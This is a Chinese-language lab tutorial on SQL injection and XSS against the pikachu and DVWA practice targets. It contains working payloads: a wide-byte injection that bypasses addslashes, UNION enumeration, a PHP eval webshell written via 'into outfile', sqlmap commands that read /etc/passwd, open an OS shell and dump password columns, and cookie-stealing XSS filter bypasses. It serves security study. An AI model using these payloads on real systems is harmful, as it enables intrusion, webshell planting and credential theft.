一 宽字节注入
利用宽字节注入实现“库名-表名”的注入过程。
靶场环境:容器镜像:area39/pikachu
宽字节概念
1、如果一个字符的大小是一个字节的,称为窄字节; 2、如果一个字符的大小是两个及以上字节的,称为宽字节; 像GB2312、GBK、GB18030、BIG5、Shift_JIS等编码都是常见的宽字节字符集。英文默认占一个字节,中文占两个字节。 |
宽字节注入原理
宽字节注入利用MySQL的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字。 |
为了防止网站被SQL注入,网站开发人员会做一些防护措施,其中最常见的就是对一些特殊字符进行转义。addslashes()函数
1、addslashes() 函数会在预定义字符之前添加反斜线 \ 进行转义 2、预定义字符:单引号 ' ,双引号 " ,反斜线 \ ,NULL |
免责声明 本文仅是个人对SQL注入及相关工具的学习测试过程记录,不具有恶意引导意向。 |
1.0 简单示例
以pikachu容器数据picachu中member表为例
SQL语句中以“kobe' and 1=1#”为pyload查询验证,手动添加反斜杠“\”模拟addslashes()函数功能,转义paload中的单引号,查询结果为空,说明单引号被转义而使整个payload作为字符串并没有逃逸出原始引号。
1.1 靶场宽字节注入分析
宽字节注入利用MySQL的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字。 像GB2312、GBK、GB18030、BIG5、Shift_JIS等编码都是常见的宽字节字符集。英文默认占一个字节,中文占两个字节 |
查看pikchu库编码,确认是否是宽字节字符集。
show create database pikachu; |
Pikachu库的编码并不是宽字节字符集,但是pikachu靶场存在宽字节注入 |
靶场宽字节注入涉及的表 select id,username,email from pikachu.member; |
Picachu前台存在宽字节注入靶场,可能因为网站代码对客户的输入做处理时,设置mysql客户端来源编码是gbk,这个设置导致出现宽字节注入问题。如下截图代码情况:
$set = "set character_set_client=gbk" |
1.2 绕过特殊符号转义
1.2.1 GBK编码说明
宽字节注入利用MySQL的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字。 像GB2312、GBK、GB18030、BIG5、Shift_JIS等编码都是常见的宽字节字符集。英文默认占一个字节,中文占两个字节 |
%de%5c:mysql会解析为蓝色框内的字“轡” %df%5c:mysql会解析为蓝色框内的字“運” |
1.2.2 URL编码说明
反斜杠“\”的URL编码是%5c |
1.3 查询验证
1.3.1 payload的猜测
通过靶场页面输入内容是username及测试输出内容,判断是字符型;通过之前文章中注入类型的payload猜测此场景payload内容如下:
猜测payload: kobe' or 1=1# |
1.3.2 后台payload验证
select id,username,email from pikachu.member where username='kobe' or 1=1#'; |
手动添加反斜杠“\”模拟addslashes()功能“自动转义特殊字符” select id,username,email from pikachu.member where username='kobe\' or 1=1#'; |
使用GBK宽字节字符集 select id,username,email from pikachu.member where username='kobe%df\' or 1=1#'; 说明:此次查询为空,没有逃逸引号,反斜杠转义生效 |
select id,username,email from pikachu.member where username='kobe%df%5c' or 1=1#'; 说明:把反斜杠转为URL编码%5c(实际宽字节注入中,addslashes()函数自动添加反斜杠转义payload中的引号,网页也会把反斜杠转换成%5c,后续通过burp抓包展示),%df%5c被解析为“運”,这样addslashes()函数自动添加的反斜杠被GBK宽字节字符集绕过,引号未被转义。 |
1.3.3 前台payload验证
kobe%df' or 1=1# 前提说明:addslashes()函数会自动添加反斜杠 |
1.3.4 burb抓包
Burb抓包发现%df的%被作为特殊字符串转换为了URL编码%25;payload中的引号被正常转为URL编码%27 |
Burp中手动修改报文把%25df%27纠正为%df%27 |
放行该数据包:intercept is off 靶场页面正常显示了宽字节注入后绕过反斜杠,成功输出了查询结果 |
Burp抓的包中修改为%df%5c,执行send发送,正常查询出结果 |
1.4 实施爆破
既然%df中的%也会作为特殊字符被URL编码转为%25,那么就通过burp抓包实现爆破;此注入点查询是输出两列值,使用union联合select 1,2实现爆破,同时输出两列值
1.4.1 爆破库名
Payload:kobe%df' union all select database(),version()# |
1.4.2 爆破表名
Payload: kobe%df' union all select 1,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA=database()# |
show tables; |
后面字段、数值的注入过程和前一篇文章,直接Union注入查数据库名、表名、字段名、字段值等等,这里就不再赘述。
二 实现DVWA站点的Getshell
根据mysql数据库本身的功能(select into outfile),通过SQL注入点实现透过mysql在目标服务器生成webshell文件(一句话木马)
Mysql支持向外写文件(这里的“外”是指服务器内部),需要用到 select into outfile 命令: 在Mysql数据库中存在 select into outfile 命令,该命令的作用是将被选择的一行代码写入一个文件中,文件被创建到服务器上。其中,select into outfile的使用前提是:
(2)对目录要有写权限,一般image之类的存放图片的目录有写权限; (3)要有mysql file权限(即能否对系统的文件读取和写操作),默认情况下只有root权限有; 还要注意:写的文件名一定是在网站中不存在的,不然会失败。 |
2.1 后端查询
select 1,"<?php eval($_POST['a']);?>"; 说明: eval($_POST['a']); $_POST[]:接收method=’POST’中表单的值。 eval():是一种将字符串作为PHP代码执行的语言结构。 这种函数功能强大,但也非常危险,因为它允许执行任意的PHP代码;因此,使用时确保传入的字符串数据是安全可控的,应避免执行任何未经验证的用户输入数据,以防止代码注入攻击。 <?php eval($_POST['a']);?>:一句话木马 |
select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/shell2.php'; 说明:把select查询的记录写入指定的目标文件中 |
2.2 前提查询
Dvwa靶场中安全等级为LOW的环境中SQL注入场景
Payload:1' union select 1,2# |
源码:SELECT first_name, last_name FROM users WHERE user_id = '$id'; |
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2#'; |
2.3 组合前后台语句
通过组合前后端语句,实现通过sql注入点透过mysql在目标服务器上生成webshell文件(一句话木马文件)
前端:SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2#'; |
后端:select 1,"<?php eval($_POST['a']);?>" into outfile'/var/www/html/shell2.php'; |
组合前后端语句: SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,"<?php eval($_POST['a']);?>" into outfile'/var/www/html/shell2.php'#'; |
根据上边的输出和SQL语句拼接形态,进一步精简输出和改善SQL语句 |
SELECT first_name, last_name FROM users WHERE user_id = '' union select 1,"<?php eval($_POST['a']);?>" into outfile'/var/www/html/shell2.php'; |
最终:组合后的poyload ' union select 1,"<?php eval($_POST['a']);?>" into outfile'/var/www/html/shell2.php 说明:payload左边的引号闭合源码中$id左边的引号,payload中路径只写了左侧引号正好和$id右边的引号形成闭合,这样就不用再使用#去注释或逃逸原有的引号 |
前台提交payload后,前台无回显 |
查看后端文件 |
2.4 webshell利用
2.4.1 firefox浏览器验证
添加HackBar插件
Load URL:点击后,自动填充当前浏览器页面的URL 复选框:因payload是$_POST方法,此处选择Post data增加post参数(a=phpinfo();) Execude:基于Load URL 和Post data在此发起请求 |
a=system(pwd); |
2.4.2 蚁剑工具验证webshell
连接密码是webshell(一句话木马)中参数名“a”;通过webshell直接获取了整个靶场网站的完整目录 |
三 SqlMap
3.1 常用参数--Target:目标
3.1.1 -u目标URL、--batch、--cookie
-u:目标URL 说明1:只能是GET方法URL,且URL中包含参数,下边的操作说明一步步说明 说明2:配合--data(3.2.1章节)可以使-u的URL是POST方法,通过--data指定参数 python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/" 说明:执行后会构造payload去测试注入 截图说明:提示没有发现注入点,why?明明此靶场URL存在注入点 |
--batch python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/" --batch 执行过程会有交互式问答,--batch参数交给sqlmap自己判断应答 说明:提示也是没有发现注入点,why? 原因:sqlmap也是一个客户端,虽然-u参数给的是登录后url但是作为一个新客户端也是需要登录的,跳转到了登录页面,而且没有cookie,下面给个cookie再试 |
获取一个cookie:在目标URL页面F12-->document.cookie获取一个cookie |
python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/" --batch --cookie "PHPSESSID=nuii4asp23qa7tqa6f7aiqrkc5; security=low" 说明:提示还是没有发现注入点,但是已经没有跳转到登录提示的问答了,为什么还是没有发现注入点? |
注意:注入点是针对的网站的某个输入,就是某个变量或参数,以上URL中没有指定参数 python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie "PHPSESSID=nuii4asp23qa7tqa6f7aiqrkc5; security=low" |
支持sqlmap成功发现注入点 |
3.1.2 -m从文本中获取多个目标扫描
参数:-m 文件中保存url格式如下,sqlmap会一个一个检测(注:URL都代入了参数) |
www.magedu1.com/vuln1.php?q=student www.magedu2.com/vuln2.asp?id=1 www.magedu3.com/vuln3/id/1* (伪静态) |
3.1.3 -r从文件中加载HTTP请求
参数:-r 说明:-u参数URL只能是get方法且带参数,-r参数接收整个请求报文(请求行、请求头、报文体),所以get|post方法都行,而且sqlmap命令行选项也可少写一些 sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。 比如文本文件内如下: |
POST/students.php HTTP/1.1 Host:www.magedu.com User-Agent:Mozilla/4.0 id=1 |
示例:(配合burp获取请求报文) python sqlmap.py -r 1.txt --batch |
1.txt文件 |
GET /vulnerabilities/sqli/?id=12&Submit=Submit HTTP/1.1 Host: 10.0.0.104:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://10.0.0.104:8080/vulnerabilities/sqli/?id=1&Submit=Submit Cookie: PHPSESSID=nuii4asp23qa7tqa6f7aiqrkc5; security=low Upgrade-Insecure-Requests: 1 Priority: u=1 |
3.2 常用参数--Request:请求设置
3.2.1 --data 指定参数,使-u可以指定POST请求方法
参数:--data 此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST参数。(解决3.1.1章节-u参数只能指定GET方法URL问题) |
python sqlmap.py -u "http://www.magedu.com/students.php" --data="id=1" -f -- banner --dbs --users |
3.2.2 --scope 利用正则过滤目标网址
参数:--scope |
python sqlmap.py -l burp_http.log --scope="(www)?\.target\.(com|net|org)" |
3.2.3 --safe-url,--safe-freq绕过连续请求错误,避免被屏蔽
参数:--safe-url,--safe-freq 有的Web应用程序会在用户多次发送访问错误的请求时屏蔽掉之后的所有请求,这样sqlmap在进行探测或者注入的时候可能造成错误请求而触该策略,导致后续无法进行测试。 |
绕过这个策略有两种方式: |
--safe-url:提供一个安全不错误的链接,每隔一段时间都会去访问一下。 --safe-freq:提供一个安全不错误的链接,每次测试请求之后都会再访问一遍安全链接。 |
3.3 常用参数--Optimization:优化
-o 开启所有优化开关 说明:仅了解 |
3.4 常用参数-- Injection:注入
3.4.1 -p,--skip指定|过滤参数
参数:-p,--skip sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试 HTTP Cookie 头的值,当大于等于3的时候也会测试 User-Agent 和 HTTP Referer 头的值。但是用户可以手动用-p参数指定想要测试的参数。 例如: -p "id,user-anget" 当使用--level的值很大但是有个别参数不想测试的时候可以使用--skip参数。 例如:--skip="user-agent,referer" |
3.4.2 --os指定数据库服务器系统
参数:--os 默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows |
说明:在预知了目标的操作系统(比如linux),可以通过--os指定,那么sqlmap就会按照linux准备payload而不必考虑其他平台payload |
3.4.3 --invalid-bignum指定大数字来使值无效
参数:--invalid-bignum 当用户想指定一个报错的数值时,可以使用这个参数,例如id=13,sqlmap默认会取负值变成id=-13来报错,用户可以指定比如id=9999999来报错。 |
说明,在之前的章节使用union联合注入时有说明,为了避免页面回显长度受限而影响需要的内容显示,把union左侧的查询id值设为“-1”,如果网站做了-1排除,在手工注入或使用sqlmap时考虑使用大数字 |
3.5 常用参数-- Detection:探测等级
注意:level参数定义了sqlmap探测的广度,risk参数定义了sqlmap探测的深度
--level=LEVEL 执行测试的等级(1-5,默认为1) --risk:(*慎用此参数有风险), 共有四个风险等级(0-3),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。 |
3.5.1 --level=LEVEL探测等级
参数:--level 共有五个等级,默认为1,最大为5,sqlmap使用的payload可以在xml/payloads.xml中看到,用户也可以根据相应的格式添加自己的payload。 这个参数不仅影响使用哪些payload,同时也会影响测试的注入点,GET和POST的数据都会测试(业务字段都会测试,不同等级的区别是探索的请求头字段不同),HTTPCookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。 总之在不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值(说明:最好使用到3等级,避免安全设备检查到扫描或探测行为告警)。 |
3.5.2 --risk风险等级
参数:--risk(慎用) 共有三个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。(工作中不能用3等级) 在有些时候,例如在UPDATE/DELETE的语句中,注入一个OR的测试语句(or 1=1),可能导致更新整个表,造成很大的风险。 测试的语句同样可以在xml/payloads.xml中找到,用户也可以自行添加payload。 |
3.6 常用参数--Enumeration:枚举数据★★★
python sqlmap.py -hh |
|
Enumeration: 这些选项可用于枚举后端数据库管理系统信息、结构和表中的数据 |
|
-a, --all -b, --banner --current-user --current-db --hostname --is-dba --users --passwords --privileges --roles --dbs --tables --columns --schema --count --dump --dump-all --search --comments --statements -D DB -T TBL -C COL -X EXCLUDE -U USER --exclude-sysdbs --pivot-column=P.. --where=DUMPWHERE --start=LIMITSTART --stop=LIMITSTOP --first=FIRSTCHAR --last=LASTCHAR --sql-query=SQLQ.. --sql-shell --sql-file=SQLFILE |
Retrieve everything Retrieve DBMS banner Retrieve DBMS current user Retrieve DBMS current database Retrieve DBMS server hostname Detect if the DBMS current user is DBA Enumerate DBMS users Enumerate DBMS users password hashes Enumerate DBMS users privileges Enumerate DBMS users roles Enumerate DBMS databases Enumerate DBMS database tables Enumerate DBMS database table columns Enumerate DBMS schema Retrieve number of entries for table(s) Dump DBMS database table entries Dump all DBMS databases tables entries Search column(s), table(s) and/or databas Check for DBMS comments during enumeratio Retrieve SQL statements being run on DBMS DBMS database to enumerate DBMS database table(s) to enumerate DBMS database table column(s) to enumerat DBMS database identifier(s) to not enumer DBMS user to enumerate Exclude DBMS system databases when enumer Pivot column name Use WHERE condition while table dumping First dump table entry to retrieve Last dump table entry to retrieve First query output word character to retr Last query output word character to retri SQL statement to be executed Prompt for an interactive SQL shell Execute SQL statements from given file(s) |
3.7 常用参数--File system access:访问文件系统
--file-read=RFILE 从后端的数据库管理系统读取文件 --file-write=WFILE 上传文件到后端的数据库管理系统 --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 |
3.7.1 --file-read=RFILE从数据库服务器中读取文件
参数:--file-read 当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。 |
python sqlmap.py -r 1.txt --batch --file-read="/etc/passwd" 说明:读取的文件会放到截图中的目录 |
3.7.2 --file-write,--file-dest把文件上传到数据库服务器中
参数:--file-write,--file-dest 当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。 |
python sqlmap.py -r 1.txt --batch --file-write="upload_magedu.txt" --file-dest="/var/www/html/upload_magedu.txt" |
3.8 常用参数--访问操作系统
--os-cmd=OSCMD 执行操作系统命令 --os-shell 交互式的操作系统的shell |
3.8.1 --os-cmd执行操作系统命令
python sqlmap.py -r 1.txt --batch --os-cmd whoami |
python sqlmap.py -r 1.txt --batch --os-cmd pwd |
3.8.2 --os-shell交互式的操作系统的shell
python sqlmap.py -r 1.txt --batch --os-shell |
3.9 常用参数--获取数据
3.9.1 --dump,-C,-T,-D,--start,--stop,--first,--last获取整个表的数据
参数:--dump,-C,-T,-D,--start,--stop,--first,--last 如果当前管理员有权限读取数据库其中一个表的话,那么就能获取整个表的所有内容。 使用-D,-T参数指定想要获取哪个库的哪个表,不使用-D参数时,默认使用当前库。 可以获取指定库中的所有表的内容,只用--dump跟-D参数(不使用-T与-C参数),也可以用-dump跟-C获取指定的字段内容。 --dump的本质也是把爆破出的内容写入了本地缓存文件中 说明:渗透测试,获取有哪些漏洞类型即可,点到为止,不用继续爆数据,除非是攻防演练为了获得高分 |
python sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump |
python sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump --stop 1 python sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump --stop 2 python sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump --stop 3 python sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump --stop 4 说明:从截图中看出,--stop N选项是针对第一个列名排序后的前N行的输出 |
ython sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump --start 2 --stop 4 说明:从截图中看出,--start M --stop N选项是针对第一个列名排序后的前M->N行的输出 |
python sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump --start 2 说明:从截图中看出,--start M 选项是针对第一个列名排序后的M行到结尾行的输出 |
3.9.2 --dump-all,--exclude-sysdbs获取所有数据库表的内容
参数:--dump-all,--exclude-sysdbs 使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs排除系统数据库,只获取用户数据库的表,即业务数据。 说明:渗透测试,获取有哪些漏洞类型即可,点到为止,不用继续爆数据,除非是攻防演练为了获得高分 |
python sqlmap.py -r 1.txt --batch --dump-all --exclude-sysdbs |
3.9.3 --search,-C,-T,-D搜索字段,表,数据库
参数:--search,-C,-T,-D --search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。 可以在以下三种情况下使用: |
-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。 -T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名 -D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。 说明:渗透测试,获取有哪些漏洞类型即可,点到为止,不用继续爆数据,除非是攻防演练为了获得高分 |
如下dvwa库的两张表都有user字段 |
python sqlmap.py -r 1.txt --batch -D dvwa -C user --search 说明:指定了库名dvwa和字段名user,没有指定表名,会查询dvwa库中所有表(如果有user字段的话)中的user字段 |
四 SqlMap实际利用
使用Sqlmap工具完成对DVWA数据库的注入过程,按照库、表、列、内容的顺序进行注入;
判断注入点,因系统需要登录所以要加cookie;可以通过-u指定带参数的URL并指定cookie 或 通过-r指定请求报文(包含了cookie)
说明:sqlmap 渗透测试,获取有哪些漏洞类型即可,点到为止,不用继续爆数据,除非是攻防演练为了获得高分。
4.1 爆破库名
python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/?id=123&Submit=Submit#" --batch --cookie "PHPSESSID=obg708d6qq0nvpkf9sccbkb133; security=low" --dbs 说明1:探测出了该URL存在的注入类型 说明2:--dbs选项探测出了库名列表 |
4.2 爆破表名
选择dvwa库探测表名
python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/?id=123&Submit=Submit#" --batch --cookie "PHPSESSID=obg708d6qq0nvpkf9sccbkb133; security=low" -D dvwa --tables |
4.3 爆破字段名
选择dvwa库users表中的字段名
python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/?id=123&Submit=Submit#" --batch --cookie "PHPSESSID=obg708d6qq0nvpkf9sccbkb133; security=low" -D dvwa -T users --columns |
4.4 爆破数据
选择dvwa库users表中的字段last_name和password
python sqlmap.py -u "http://10.0.0.104:8080/vulnerabilities/sqli/?id=123&Submit=Submit#" --batch --cookie "PHPSESSID=obg708d6qq0nvpkf9sccbkb133; security=low" -D dvwa -T users -C last_name,password --dump |
五 DVWA靶场存储型XSS的漏洞练习
5.1 XSS分类和区别
反射型XSS、存储型XSS及DOM型XSS是跨站脚本攻击(XSS)的三种主要类型,它们在攻击方式、脚本存储位置、影响范围及触发条件等方面存在显著差异。以下是对这三种XSS攻击类型的详细比较: |
||
①反射型XSS(Reflected XSS) |
②存储型XSS(Stored XSS) |
③DOM型XSS(DOM-based XSS) |
攻击方式: 攻击者通过发送包含恶意脚本的URL给用户,并诱使用户点击该链接。 当用户点击链接时,服务器会将恶意脚本反射到响应中,并执行该脚本,从而达到攻击目的。 |
攻击方式: 攻击者通过注入恶意脚本到网站的数据库或文件系统中。 当其他用户浏览受影响的页面时,恶意脚本将从服务器端获取并执行,危害用户隐私和安全。 |
攻击方式: 恶意代码直接在客户端(浏览器)中通过JavaScript动态生成和插入到DOM中,导致恶意脚本执行。 |
脚本存储位置: 反射型XSS的恶意脚本并不会永久存储在服务器上,而是在服务器响应中动态生成的。 |
脚本存储位置: 恶意脚本或HTML代码被永久地注入到服务器的数据库或文件系统中。 |
脚本存储位置: 恶意代码不经过服务器,直接在客户端生成和执行。 |
影响范围: 通常只对点击恶意链接的用户造成影响,并且仅限于单个请求和响应过程。 |
影响范围: 可以影响到所有访问受影响页面的用户,因为恶意脚本已经永久存储在服务器上 |
影响范围: 取决于攻击者如何构造恶意URL和受害者如何与页面交互。 |
触发条件: 需要用户点击特定的恶意链接才能触发攻击。 |
触发条件: 用户无需进行任何特定的交互,只要访问受影响的页面即可触发攻击。 |
触发条件: 用户访问恶意URL时,客户端JavaScript代码会读取并处理这些输入,动态地修改DOM并执行恶意脚本。 |
防御措施: 对用户输入的数据进行严格的验证和过滤。 对输出到HTML上的数据进行适当的编码,如HTML实体编码、URL编码等。 使用安全的库和框架来处理用户输入。 |
防御措施: 对用户输入的数据进行严格的验证和过滤。 对输出到HTML上的数据进行适当的编码。 定期检查并清理数据库和文件系统中的恶意脚本。 使用安全的会话管理机制。 |
防御措施: 尽量避免直接使用用户输入的数据。 对用户输入的数据进行严格验证和过滤。 使用安全的DOM操作方法,如textContent或innerText,而不是innerHTML。 配置内容安全策略(CSP),限制浏览器执行未授权的脚本。 |
总结 ①触发方式:反射型XSS需要用户点击特定的恶意链接;存储型XSS则无需用户交互,只要用户访问受影响的页面;DOM型XSS通过用户访问恶意URL并在客户端执行JavaScript代码。 ②脚本存储位置:反射型XSS的恶意脚本在服务器响应中动态生成;存储型XSS的恶意脚本永久存储在服务器上;DOM型XSS的恶意代码不经过服务器。 ③影响范围:反射型XSS通常影响单个用户;存储型XSS可能影响所有访问受影响页面的用户;DOM型XSS的影响范围取决于攻击者的构造和受害者的交互。 |
5.2 练习示例
在DVWA靶场在LOW,Medium,High安全等级联系存储型XSS
靶场:类似 留言板 |
Name和Messabe都可以测试用户输入,分别在不同安全等级测试如下JS,查看效果 说明:可通过F12查看器查看源码 <script>alert(1)</script> <sCriPt>alert(1)</scRipt> <sc<script>ript>alert(document.cookie)</script> <img src=## one rror=alert(document.cookie)> |